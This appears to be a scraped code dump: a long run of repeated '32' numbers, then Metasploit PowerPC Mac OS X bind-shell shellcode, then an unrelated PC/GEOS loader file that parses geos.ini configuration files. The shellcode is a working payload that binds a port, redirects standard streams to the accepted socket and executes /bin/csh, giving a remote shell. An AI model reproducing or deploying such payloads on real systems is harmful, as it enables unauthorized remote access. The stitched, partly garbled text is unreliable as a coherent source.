32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
external/source/shellcode/osx/ppc/single_bind_tcp.asm
OsmanDere/metasploit-framework
26,932
27254
;; ; ; Name: single_bind_tcp ; Qualities: Can Have Nulls ; Platforms: MacOS X / PPC ; Authors: <NAME> <hdm [at] metasploit.com> ; Version: $Revision: 1612 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Quick and dirty bind shell ; ; ;; .globl _main .globl _execsh .text _main: _socket: li r3, 2 li r4, 1 li r5, 6 li r0, 97 sc xor r0, r0, r0 mr r30, r3 bl _bind .long 0x00022312 .long 0x00000000 _bind: mflr r4 li r5, 16 li r0, 104 mr r3, r30 sc xor r0, r0, r0 _listen: li r0, 106 mr r3, r30 sc xor r0, r0, r0 _accept: mr r3, r30 li r0, 30 li r4, 16 stw r4, -24(r1) subi r5, r1, 24 subi r4, r1, 16 sc xor r0, r0, r0 mr r30, r3 _setup_dup2: li r5, 2 _dup2: li r0, 90 mr r3, r30 mr r4, r5 sc xor r0, r0, r0 subi r5, r5, 1 cmpwi r5, -1 bnel _dup2 _fork: li r0, 2 sc xor r5, r5, r5 _execsh: ;; based on ghandi's execve xor. r5, r5, r5 bnel _execsh mflr r3 addi r3, r3, 28 ; distance to path stw r3, -8(r1) ; argv[0] = path stw r5, -4(r1) ; argv[1] = NULL subi r4, r1, 8 ; r4 = {path, 0} li r0, 59 sc ; execve(path, argv, NULL) ; csh removes the need for setuid() path: .ascii "/bin/csh" .long 0x00414243
Loader/ini.asm
steakknife/pcgeos
504
167901
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: Loader FILE: ini.asm ROUTINES: Name Description ---- ----------- OpenIniFiles Open geos.ini file, find any geos.ini path GetNumberOfHandles Get number of handles from .ini file(s) REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version DESCRIPTION: $Id: ini.asm,v 1.1 97/04/04 17:26:52 newdeal Exp $ ------------------------------------------------------------------------------@ MAX_INI_KEY_SIZE = 40 ifidn HARDWARE_TYPE, <PC> NEED_INITFILE_READ_INTEGER equ 1 else ifndef NO_SPLASH_SCREEN NEED_INITFILE_READ_INTEGER equ 1 endif endif if HARD_CODED_PATH ; Don't use the EC macro because it strips away backslashes if ERROR_CHECK ecInitFileName char INI_PATH,"\\GEOSEC.INI", 0 endif initFileName char INI_PATH,"\\GEOS.INI", 0 else EC <ecInitFileName char "geosec.ini", 0 > initFileName char "geos.ini", 0 endif pathsCategoryString char "paths", 0 iniString char "ini", 0 char MAX_INI_KEY_SIZE-4 dup (?) initFileBufPos fptr catStrAddr dword keyStrAddr dword catStrLen word keyStrLen word PC <handlesString char "handles", 0 > nextIniFile word (offset loaderVars.KLV_initFileBufHan) if 0 ;DISABLED BECAUSE THIS WILL NOT HELP US... EDS 11/14/92 MAX_DOS_PATH_SIZE equ 66 specialIniFilePathAndName char MAX_DOS_PATH_SIZE+10+1 dup (?) endif COMMENT @----------------------------------------------------------------------- FUNCTION: OpenIniFiles DESCRIPTION: Open geos.ini file, find any geos.ini path and load other .ini files CALLED BY: LoadGeos PASS: ds, es - loader segment RETURN: KLV_initFileBufHan - segments of the .ini file(s) DESTROYED: ax, bx, cx, dx, si, di, bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ OpenIniFiles proc near if 0 ;DISABLED BECAUSE THIS WILL NOT HELP US... EDS 11/14/92 ;first see if there is a "INIPATH" environment variable. If so, ;then open the GEOS.INI file in that directory as the primary ini file. call LocateIniUsingPathFromEnvVar jc tryCWD ;skip if cannot find... clr di ;don't close the file mov dx, offset specialIniFilePathAndName call OpenIniFileAndRead jnc fileFound ;skip if found & opened it... tryCWD: ;No dice. See if GEOSEC.INI or GEOS.INI exist in the current directory. endif clr di ;don't close the file EC < mov dx, offset cs:[ecInitFileName] > EC < call OpenIniFileAndRead > EC < jnc fileFound ;skip if found & opened it... > mov dx, offset cs:[initFileName] call OpenIniFileAndRead ERROR_C LS_INIT_FILE_CANNOT_OPEN_FILE fileFound:: mov ds:[loaderVars].KLV_initFileHan, bx mov ds:[loaderVars].KLV_initFileSize, si ; get the drive on which the ini file was found and save it for ; the kernel. mov ah, MSDOS_GET_DEFAULT_DRIVE int 21h mov ds:[loaderVars].KLV_initFileDrive, al ;if a /Pxxx argument was passed on the command line to LOADER.EXE, ;then update our "iniString" variable so that we will search for "xxx" ;rather than "ini" in the first GEOS.INI file, to find the next file. call GetIniKey ;Now search the primary GEOS.INI file for the path of the second. mov bx, offset loaderVars.KLV_initFileBufHan call SearchForIniPath ret OpenIniFiles endp COMMENT @---------------------------------------------------------------------- FUNCTION: GetIniKey DESCRIPTION: Get the real .ini key (in case /pXXX was passed) CALLED BY: OpenIniFiles PASS: ds, es - loader segment RETURN: iniString - possibly modified DESTROYED: ax, bx, cx, dx, si, di, bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 11/ 2/92 Initial version ------------------------------------------------------------------------------@ GetIniKey proc near uses ds, es .enter mov es, ds:[loaderVars].KLV_pspSegment mov dx, es:[PSP_endAllocBlk] ; end heap at end of mov di, offset PSP_cmdTail mov cl, es:[di] clr ch ; length of command tail -> cx jcxz done ; if no tail, do nothing inc di ; point past count dec cx ; don't count CR at end jcxz done ; Now scan for any arguments mov al, '/' ; switch delimiter -> al next: repne scasb ; scan for delimiter jnz done ; if none, found, we're done cmp {byte} es:[di], 'p' je foundIni cmp {byte} es:[di], 'P' jne next ; We found the ini switch. Read the value passed foundIni: inc di ;point past "p" segxchg ds, es mov si, di ; ds:si = source lea di, iniString+3 ; es:di = dest copyLoop: lodsb stosb tst al jz copyEnd cmp al, ' ' jnz copyLoop copyEnd: mov {char} es:[di-1], 0 done: .leave ret GetIniKey endp COMMENT @----------------------------------------------------------------------- FUNCTION: SearchForIniPath DESCRIPTION: Search an opened .ini file for an .ini file path CALLED BY: OpenIniFiles, SearchForIniPath PASS: ds - loader segment bx - offset to ini file to search nextIniFile - offset to put next ini file buffer segment RETURN: ds, es - same DESTROYED: ax, bx, cx, dx, si, di, bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ INI_PATH_BUFFER_SIZE = 150 SearchForIniPath proc near uses ds, es .enter ;search this .INI file for "ini=" statement which points to the ;next .ini file... sub sp, INI_PATH_BUFFER_SIZE ;set up stack frame mov di, sp segmov es, ss ;es:di = buffer segmov ds, cs ;ds:si = category string mov si, offset cs:[pathsCategoryString] mov cx, cs ;cx:dx = key string mov dx, offset cs:[iniString] mov ax, 1 ;search only one file mov bp, INI_PATH_BUFFER_SIZE call LoaderInitFileReadString ;scan the file whose memory ;handle is cs:[bx] jc done ;Found another path for .ini. Loop to try each component segmov ds, es ;ds = buffer pathLoop: ;ds:di = path string cmp cs:[nextIniFile], (offset loaderVars.KLV_initFileBufHan)+ \ ((size word)*MAX_INI_FILES) jz done ;skip if already have too ;many .INI files... ;scan to end of path component, by searching for NULL or SPACE. mov si, di findEndLoop: lodsb tst al jz gotEnd cmp al, ' ' jnz findEndLoop gotEnd: dec si ;ds:si = end push ds:[si] mov {char} ds:[si], 0 ;null terminate ;try to open the file at ds:di mov dx, di push si mov di, 1 ;don't keep file open push cs:[nextIniFile] ;save the offset which will later be ;used to save the handle of this .ini ;file, because OpenIniFileAndRead will ;bump it. call OpenIniFileAndRead pop bx ;bx = offset into KLV_initFileBufHan jc noSearch ;search this .ini file (get handle from cs:[bx], which points into ;KLV_initFileBufHan. call SearchForIniPath noSearch: pop si pop ds:[si] cmp {char} ds:[si], 0 jz done mov di, si inc di jmp pathLoop done: add sp, INI_PATH_BUFFER_SIZE .leave ret SearchForIniPath endp COMMENT @----------------------------------------------------------------------- FUNCTION: OpenIniFileAndRead DESCRIPTION: Open the given .ini file and read it into a buffer CALLED BY: INTERNAL (InitGeos) PASS: ds, es - loader segment ds:dx - filename di - non-zero to close file (and to open read-only) di - if di is zero: try to open read-write. if access denied, open read-only. don't close file. if di is non-zero: open read-only. close file. nextIniFile - offset to store handle when heap is init'ed RETURN: carry - set if error ax - segment of buffer containing .ini file bx - file handle (if file still open). If the .ini file was opened read-only, then the .ini file is closed, and returns bx=0. si - size of .ini file nextIniFile - upped by 2 DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ OpenIniFileAndRead proc near uses cx, dx, ds .enter ;----------------------------------------------------------------------- ;open the init file ;figure whether to use sharing modes, so ini file can actually be ;copied under systems that enforce such things. tryAgain: mov ah, MSDOS_GET_VERSION int 21h ; al <- major; trashes bx&cx cmp al, 2 mov ax, (MSDOS_OPEN_FILE shl 8) or FA_READ_ONLY ; assume 2.x jbe figureReadWrite mov ax, (MSDOS_OPEN_FILE shl 8) or \ FileAccessFlags <FE_DENY_WRITE, FA_READ_ONLY> figureReadWrite: clr bx ;unset read-write mode flag tst di jnz doOpen inc bx ;set read-write mode flag CheckHack <FA_READ_ONLY eq 0> ornf ax, FA_READ_WRITE doOpen: int 21h jnc openOK ; ; if open file failed because of ERROR_ACCESS_DENIED, that is ; because the .ini file is read-only, but we tried opening it ; in read-write mode. Try again in read-only mode. If it fails ; again, then give up. ; cmp ax, ERROR_ACCESS_DENIED jne openFail tst bx ;try again only if first ; ; bx = 0: we tried opening in r/o mode ; bx = 1: tried r/w mode ; jz openFail ;time was read-write mov di, -1 ;make read-only jmp tryAgain openFail: stc jmp done openOK: mov_trash bx, ax ; bx = file ;----------------------------------------------------------------------- ; get file size and allocate space mov al, FILE_POS_END mov ah, MSDOS_POS_FILE clr cx clr dx int 21h ;dx:ax = file size ERROR_C LS_INIT_FILE_CANNOT_READ_FILE tst dx ;if (size > MAX_INI_SIZE) ERROR_NZ LS_INIT_FILE_TOO_LARGE ; then error cmp ax, MAX_INI_SIZE-1 ERROR_A LS_INIT_FILE_TOO_LARGE inc ax push ax ;save size push bx mov bx, cs:[nextIniFile] add cs:[nextIniFile], 2 mov cx, ALLOC_DYNAMIC or mask HF_SHARABLE inc ax ; in case we need to add final inc ax ; CR-LF... call LoaderSimpleAlloc ;ax = segment pop bx mov ds, ax ;----------------------------------------------------------------------- ;read init file into buffer mov al, FILE_POS_START ;seek to start of file mov ah, MSDOS_POS_FILE clr cx clr dx int 21h ;dx:ax = file size pop cx ;cx = size ERROR_C LS_INIT_FILE_CANNOT_READ_FILE mov ah, MSDOS_READ_FILE clr dx int 21h ;ax = size ERROR_C LS_INIT_FILE_CANNOT_READ_FILE mov_trash si, ax ;si = size ; ; Make sure the thing ends in a CR-LF, as things in the kernel get ; hosed if there's not one there. Since this is the only interface ; between user-made changes and the more-orderly alterations ; performed by the kernel, this seems to me the best place to make ; the modifications -- ardeb 5/27/92 ; cmp si, 2 jb addCRLF ; => can't possibly end in CR-LF cmp {word}ds:[si-2], '\r' or ('\n' shl 8) je storeEOF addCRLF: mov {word}ds:[si], '\r' or ('\n' shl 8) inc si inc si storeEOF: mov {byte} ds:[si], MSDOS_TEXT_FILE_EOF inc si ;----------------------------------------------------------------------- ;close the init file tst di jz noClose mov ah, MSDOS_CLOSE_FILE int 21h ERROR_C LS_INIT_FILE_CANNOT_READ_FILE clr bx ;return bx=0 if .ini is r/o. noClose: mov ax, ds ;return segment clc done: .leave ret OpenIniFileAndRead endp COMMENT @----------------------------------------------------------------------- FUNCTION: GetNumberOfHandles DESCRIPTION: Find the number of handles from the .ini file CALLED BY: INTERNAL (InitGeos) PASS: ds, es - loader segment KLV_initFileBufHan - segments of .ini files loaded RETURN: KLV_handleFreeCount - number of handles to allocate DESTROYED: ax, bx, cx, dx, si, di, bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ ifdef NEED_INITFILE_READ_INTEGER systemCategoryString char "system", 0 endif ifidn HARDWARE_TYPE, <PC> GetNumberOfHandles proc near mov si, offset cs:[systemCategoryString] mov cx, cs mov dx, offset cs:[handlesString] call LoaderInitFileReadInteger jnc found mov ax, DEFAULT_NUMBER_OF_HANDLES found: mov ds:[loaderVars].KLV_handleFreeCount, ax ret GetNumberOfHandles endp endif COMMENT @----------------------------------------------------------------------- FUNCTION: LoaderInitFileReadInteger DESCRIPTION: Locates the given key in the geos.ini file and returns the binary value of the ASCII body. CALLED BY: GetNumberOfHandles PASS: ds:si - category ASCIIZ string cx:dx - key ASCIIZ string RETURN: carry clear if successful ax - value else carry set DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ ifdef NEED_INITFILE_READ_INTEGER LoaderInitFileReadInteger proc near uses bx, dx, es .enter mov bx, offset loaderVars.KLV_initFileBufHan mov ax, MAX_INI_FILES call StoreParamsAndFindKey jc exit call AsciiToHex ;dx,al <- func(es) clc mov ax, dx exit: .leave ret LoaderInitFileReadInteger endp endif COMMENT @---------------------------------------------------------------------- FUNCTION: StoreParamsAndFindKey DESCRIPTION: Call StoreParams, then find the given category and key in any .ini file along the path. CALLED BY: InitFileGet, ... PASS: ax - max number of .ini files to search bx - offset to first ini file to search ds:si - category ASCIIZ string cx:dx - key ASCIIZ string RETURN: carry - set if error (category or key not found) all parameters stored away in variables es - dgroup if no error: [initFileBufPos] - offset from BufAddr to body DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ------------------------------------------------------------------------------@ StoreParamsAndFindKey proc near uses ax, bx .enter call StoreParams ;locks first .ini file mov cx, ax ;cx = count searchLoop: mov ax, cs:[bx] mov cs:[initFileBufPos].segment, ax mov cs:[initFileBufPos].offset, 0 call FindCategory jc notFound call FindKey jnc done notFound: ;category or key not found in .ini file, progress down the path add bx, size word cmp bx, (offset loaderVars.KLV_initFileBufHan)+ \ ((size word)*MAX_INI_FILES) jz error cmp {word} cs:[bx], 0 jz error loop searchLoop error: stc done: .leave ret StoreParamsAndFindKey endp COMMENT @----------------------------------------------------------------------- FUNCTION: StoreParams DESCRIPTION: Store the parameters in local variables. CALLED BY: INTERNAL (LibInitFileWriteData, LibInitFileWriteString) PASS: ds:si - category ASCIIZ string cx:dx - key ASCIIZ string RETURN: all parameters stored away in variables DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ StoreParams proc near uses ax, bx, cx, di, es .enter mov cs:[catStrAddr].offset, si mov cs:[catStrAddr].segment, ds mov cs:[keyStrAddr].offset, dx mov cs:[keyStrAddr].segment, cx les di, cs:[catStrAddr] call GetStringLength mov cs:[catStrLen], cx les di, cs:[keyStrAddr] call GetStringLength mov cs:[keyStrLen], cx .leave ret StoreParams endp COMMENT @----------------------------------------------------------------------- FUNCTION: FindCategory DESCRIPTION: Locates the given category. CALLED BY: INTERNAL (InitFileWrite, LibInitFileGet, LibInitFileReadInteger) PASS: cs cs:[catStrAddr] - category ASCIIZ string cs:[catStrLen] cs:[initFileBufPos] - position to look for string RETURN: carry clear if category found cs:[initFileBufPos] - offset from BufAddr to char past ] carry set otherwise DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ FindCategory proc near push ax,cx,si,ds lds si, cs:[catStrAddr] findLoop: ;----------------------------------------------------------------------- ;skip to next category mov al, '[' call FindChar jc exit call CmpString jc findLoop call SkipWhiteSpace call GetChar cmp al, ']' jne findLoop clc exit: pop ax,cx,si,ds ret FindCategory endp COMMENT @----------------------------------------------------------------------- FUNCTION: FindKey DESCRIPTION: Sets the file position at the first body position if the key exists. Search halts when an EOF is encountered or when a new category is started. CALLED BY: INTERNAL (InitFileWrite) PASS: es - cs cs:[ketStrAddr] - key ASCIIZ string RETURN: carry clear if successful cs:[initFileBufPos] - offset from BufAddr to body DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: done <- false repeat skip white space if first char = ';' then line <- line + 1 else if key found then done <- true else locate '=' skip white space if char <> '{' then line <- line + 1 else skip blob endif endif until done KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ FindKey proc near push ax,cx,si,ds findLoop: call SkipWhiteSpace jc exit call GetChar jc exit cmp al, INIT_FILE_COMMENT je processComment dec cs:[initFileBufPos].offset cmp al, '[' stc je exit ;checkKey: lds si, cs:[keyStrAddr] call CmpString jc noMatch call SkipWhiteSpace ERROR_C LS_INIT_FILE_CORRUPT call GetChar ERROR_C LS_INIT_FILE_CORRUPT cmp al, '=' jne noMatch jmp short keyFound noMatch: mov al, '=' call FindChar ERROR_C LS_INIT_FILE_CORRUPT call SkipWhiteSpace ERROR_C LS_INIT_FILE_CORRUPT call GetChar cmp al, '{' ;blob? je blobFound call SkipToEndOfLine jmp short findLoop blobFound: ;----------------------------------------------------------------------- ;skip blob mov al, '}' call FindChar ERROR_C LS_INIT_FILE_CORRUPT jmp short findLoop processComment: call SkipToEndOfLine jmp short findLoop keyFound: call SkipWhiteSpace clc exit: pop ax,cx,si,ds ret FindKey endp COMMENT @----------------------------------------------------------------------- FUNCTION: SkipWhiteSpace DESCRIPTION: Return the next relevant character. White space and carraige returns are skipped. CALLED BY: INTERNAL (FindKey) PASS: cs RETURN: cs:[initFileBufPos] updated, next call to GetChar will retrieve non white space character DESTROYED: ax REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ SkipWhiteSpace proc near skipLoop: call GetChar jc exit ;branch if eof encountered cmp al, C_SPACE je skipLoop ;next if blank cmp al, C_TAB je skipLoop ;next if tab cmp al, C_CR je skipLoop ;next if carraige return cmp al, C_LF je skipLoop ;next if line feed dec cs:[initFileBufPos].offset ;unget char clc exit: ret SkipWhiteSpace endp COMMENT @----------------------------------------------------------------------- FUNCTION: SkipToEndOfLine DESCRIPTION: Skip to end of line. CALLED BY: INTERNAL (FindKey) PASS: es - cs RETURN: carry clear if ok DESTROYED: al REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ SkipToEndOfLine proc near push ax mov al, C_LF ;locate a carraige return call FindChar pop ax ret SkipToEndOfLine endp COMMENT @----------------------------------------------------------------------- FUNCTION: FindChar DESCRIPTION: Searches the file buffer for the given unescaped, uncommented character. CALLED BY: INTERNAL (SkipToNextCategory, FindKey, SkipToEndOfLine) PASS: es - cs al - character to locate RETURN: carry clear if found cs:[initFileBufPos] updated to byte past char ie. a call to GetChar will fetch the next char DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: unfortunately, the speed of the 8086 scas instructions cannot be taken advantage of KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ FindChar proc near push ax mov ah, al findCharLoop: call GetChar jc exit cmp al, '\\' jne charNotEscaped call GetChar jmp short findCharLoop charNotEscaped: cmp al, INIT_FILE_COMMENT jne charNotComment ;can't make a recursive call to SkipToEndOfLine because another ; semi-colon may be encountered which would trigger another ; search for an end-of-line character skipComment: call GetChar cmp al, C_LF jne skipComment charNotComment: cmp ah, al jne findCharLoop clc exit: pop ax ret FindChar endp COMMENT @----------------------------------------------------------------------- FUNCTION: GetChar DESCRIPTION: Fetch the next character from the file buffer. CALLED BY: INTERNAL (SkipWhiteSpace) PASS: cs RETURN: carry clear if successful al - next character cs:[initFileBufPos] updated carry set if end of file encountered al - EOF DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: buffer position is post incremented, ie. current value is offset to the next character KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ GetChar proc near push si, ds lds si, cs:[initFileBufPos] ;get cur pos lodsb cmp al, MSDOS_TEXT_FILE_EOF clc ;assume not end jne exit dec si ; don't advance pointer stc exit: mov cs:[initFileBufPos].offset, si pop si, ds ret GetChar endp COMMENT @----------------------------------------------------------------------- FUNCTION: CmpString DESCRIPTION: Compares the given string with the string at the current init file buffer location. The comparison is case-insensitive and white space is ignored. CALLED BY: INTERNAL () PASS: ds:si - ASCIIZ string dgroup:[initFileBufPos] - current buffer position RETURN: carry clear if strings 'match' set otherwise DESTROYED: REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 12/89 Initial version -------------------------------------------------------------------------------@ CmpString proc near uses ax, bx, si .enter mov bx, cs:[initFileBufPos].offset fetchStr1: lodsb tst al je exit ; carry cleared by "or" in tst call LegalCmpChar ;can this char be used for comparison? jc fetchStr1 ;loop if not mov ah, al ;save it in ah fetchStr2: call GetChar jc exit call LegalCmpChar ;can this char be used for comparison? jc fetchStr2 cmp ah, al je fetchStr1 stc ;signal chokage mov cs:[initFileBufPos].offset, bx exit: .leave ret CmpString endp COMMENT @----------------------------------------------------------------------- FUNCTION: LegalCmpChar DESCRIPTION: Sets the carry flag based on whether or not the given character can be used for comparison. Since we are ignoring white space, the carry bit is set if the character is a space or tab. The routine has the side effect of transforming all alphabet chars into upper case since comparison is case-insensitive. CALLED BY: INTERNAL (CmpString) PASS: al - char RETURN: carry clear if character is cmp-able al - made uppercase if passed al was a lowercase letter carry set if character is white space DESTROYED: REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 12/89 Initial version -------------------------------------------------------------------------------@ LegalCmpChar proc near cmp al, C_SPACE je illegal cmp al, C_TAB je illegal cmp al, 'a' jb legal cmp al, 'z' ja legal sub al, 'a'-'A' legal: clc ret illegal: stc ret LegalCmpChar endp COMMENT @----------------------------------------------------------------------- FUNCTION: GetStringLength DESCRIPTION: Return the length of the given string. CALLED BY: INTERNAL (BuildEntryFromString) PASS: es:di - ASCIIZ string RETURN: cx - number of bytes in string (excluding null terminator) DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ GetStringLength proc near push ax, di mov cx, -1 clr al repne scasb not cx dec cx pop ax, di ret GetStringLength endp COMMENT @----------------------------------------------------------------------- FUNCTION: AsciiToHex DESCRIPTION: Converts the ASCII number at the current init file buffer position to its binary equivalent. CALLED BY: INTERNAL (ReconstructData, LibInitFileReadInteger) PASS: es - cs cs:[initFileBufPos] - offset to numeric entry RETURN: dx - binary equivalent al - terminating char DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: ASCII number must be less than 65536 REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ ifdef NEED_INITFILE_READ_INTEGER AsciiToHex proc near push bx,cx mov bx, 10 clr cx convLoop: call GetChar call IsNumeric jc done clr ah sub ax, '0' ;convert to digit xchg ax, cx mul bx ;dx:ax <- digit * 10 add ax, cx mov cx, ax jmp short convLoop ;loop till done done: mov dx, cx pop bx,cx ret AsciiToHex endp endif COMMENT @----------------------------------------------------------------------- FUNCTION: IsNumeric DESCRIPTION: Boolean routine that tells if argument is a numeric ASCII character. CALLED BY: INTERNAL (AsciiToHex) PASS: al - ASCII char RETURN: carry clear if numeric set otherwise DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ ifdef NEED_INITFILE_READ_INTEGER IsNumeric proc near cmp al, '0' jb notNum ;carry set correctly cmp al, '9' ja notNum clc ret notNum: stc ret IsNumeric endp endif COMMENT @----------------------------------------------------------------------- FUNCTION: LoaderInitFileReadString DESCRIPTION: Locates the given identifier in the geos.ini file and returns a pointer to the body of the associated string. CALLED BY: OpenIniFiles PASS: ax - max number of .ini files to search bx - offset to first ini file to search ds:si - category ASCIIZ string cx:dx - key ASCIIZ string es:di - buffer to fill bp - size of buffer RETURN: carry clear if successful retrieved string will be null terminated cx - number of bytes retrieved (excluding null terminator es:di - buffer filled DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ 